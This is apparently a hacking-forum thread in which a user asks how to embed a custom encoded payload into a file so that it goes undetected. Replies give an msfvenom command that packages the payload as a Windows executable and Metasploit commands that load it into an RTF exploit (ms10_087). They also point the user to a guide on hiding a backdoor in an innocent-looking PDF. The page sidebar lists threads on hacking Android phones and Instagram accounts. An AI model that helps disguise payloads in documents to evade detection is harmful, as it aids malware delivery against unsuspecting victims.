Hi , I have created a custom encoded payload.exe , how can I embed it into a file using msfvenom??
Forum Thread: Using Custom Payloads with Files
- Hot
- Active
-
Forum Thread: How to Track Who Is Sms Bombing Me . 4 Replies
2 mo ago -
Forum Thread: Removing Pay-as-You-Go Meter on Loan Phones. 1 Replies
2 mo ago -
Forum Thread: Hydra Syntax Issue Stops After 16 Attempts 3 Replies
2 mo ago -
Forum Thread: moab5.Sh Error While Running Metasploit 17 Replies
3 mo ago -
Forum Thread: Execute Reverse PHP Shell with Metasploit 1 Replies
4 mo ago -
Forum Thread: Install Metasploit Framework in Termux No Root Needed M-Wiz Tool 1 Replies
5 mo ago -
Forum Thread: Hack and Track People's Device Constantly Using TRAPE 35 Replies
6 mo ago -
Forum Thread: When My Kali Linux Finishes Installing (It Is Ready to Boot), and When I Try to Boot It All I Get Is a Black Screen. 8 Replies
7 mo ago -
Forum Thread: HACK ANDROID with KALI USING PORT FORWARDING(portmap.io) 12 Replies
7 mo ago -
Forum Thread: Hack Instagram Account Using BruteForce 208 Replies
7 mo ago -
Forum Thread: Metasploit reverse_tcp Handler Problem 47 Replies
9 mo ago -
Forum Thread: How to Train to Be an IT Security Professional (Ethical Hacker) 22 Replies
9 mo ago -
Metasploit Error: Handler Failed to Bind 41 Replies
10 mo ago -
Forum Thread: How to Hack Android Phone Using Same Wifi 21 Replies
10 mo ago -
How to: HACK Android Device with TermuX on Android | Part #1 - Over the Internet [Ultimate Guide] 177 Replies
10 mo ago -
How to: Crack Instagram Passwords Using Instainsane 36 Replies
10 mo ago -
Forum Thread: How to Hack an Android Device Remotely, to Gain Acces to Gmail, Facebook, Twitter and More 5 Replies
10 mo ago -
Forum Thread: How Many Hackers Have Played Watch_Dogs Game Before? 13 Replies
10 mo ago -
Forum Thread: How to Hack an Android Device with Only a Ip Adress 55 Replies
11 mo ago -
How to: Sign the APK File with Embedded Payload (The Ultimate Guide) 10 Replies
11 mo ago
-
Hack Like a Pro: How to Use Netcat, the Swiss Army Knife of Hacking Tools
-
How To: Use Burp & FoxyProxy to Easily Switch Between Proxy Settings
-
How To: Find Vulnerable Webcams Across the Globe Using Shodan
-
How To: Make Your Own Bad USB
-
How to Hack Wi-Fi: Cracking WPA2 Passwords Using the New PMKID Hashcat Attack
-
Tutorial: Create Wordlists with Crunch
-
How To: Scan for Vulnerabilities on Any Website Using Nikto
-
Hack Like a Pro: How to Find Directories in Websites Using DirBuster
-
How To: Use Kismet to Watch Wi-Fi User Activity Through Walls
-
How To: Extract Bitcoin Wallet Addresses & Balances from Websites with SpiderFoot CLI
-
How To: Set Up a Wi-Fi Spy Camera with an ESP32-CAM
-
How to Hack Wi-Fi: Cracking WPA2-PSK Passwords Using Aircrack-Ng
-
How To: Hunt Down Social Media Accounts by Usernames with Sherlock
-
Tutorial: DNS Spoofing
-
How To: Set Your Wi-Fi Card's TX Power Higher Than 30 dBm
-
How To: Use Hash-Identifier to Determine Hash Types for Password Cracking
-
How To: Use SpiderFoot for OSINT Gathering
-
How To: Automate Wi-Fi Hacking with Wifite2
-
How To: Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using Airgeddon
-
How To: Enumerate NetBIOS Shares with NBTScan & Nmap Scripting Engine
4 Responses
Allot more information is needed to fully answer your question.
But....
Something like this should get things started....
root@Kali:~# msfvenom -p - /root/Desktop/some_file.txt -a x86 --platform windows -f exe -o /root/Desktop/test.exe
Explanation
-p payload "-" specifies custom payload
-a architecture
-- platform
-f format
-o output
It will all depend on what your trying to do, msfvenom might not be able to do what your looking for...
So I just read your exact same question on
https://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-ms-word-embed-listener-your-roommates-computer-0140868/
Are you trying to simply set a custom payload inside of an exploit? If so
msf exploit(ms10_087_rtf_pfragments_bof) > set payload generic/custom
Then set the option:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Set custom payload:
msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME /root/Desktop/some_file
Note: Payload will have to be compatible with the exploit
Thanks for replying. I have used a script to encod my payload . So now I have one on the desktop, the problem is that I want to embed it with pdf file to be undetectable
Encoded? How? Either way you can try following OTW's
https://null-byte.wonderhowto.com/how-to/hack-like-pro-embed-backdoor-connection-innocent-looking-pdf-0140942/
Just use your payload...
Share Your Thoughts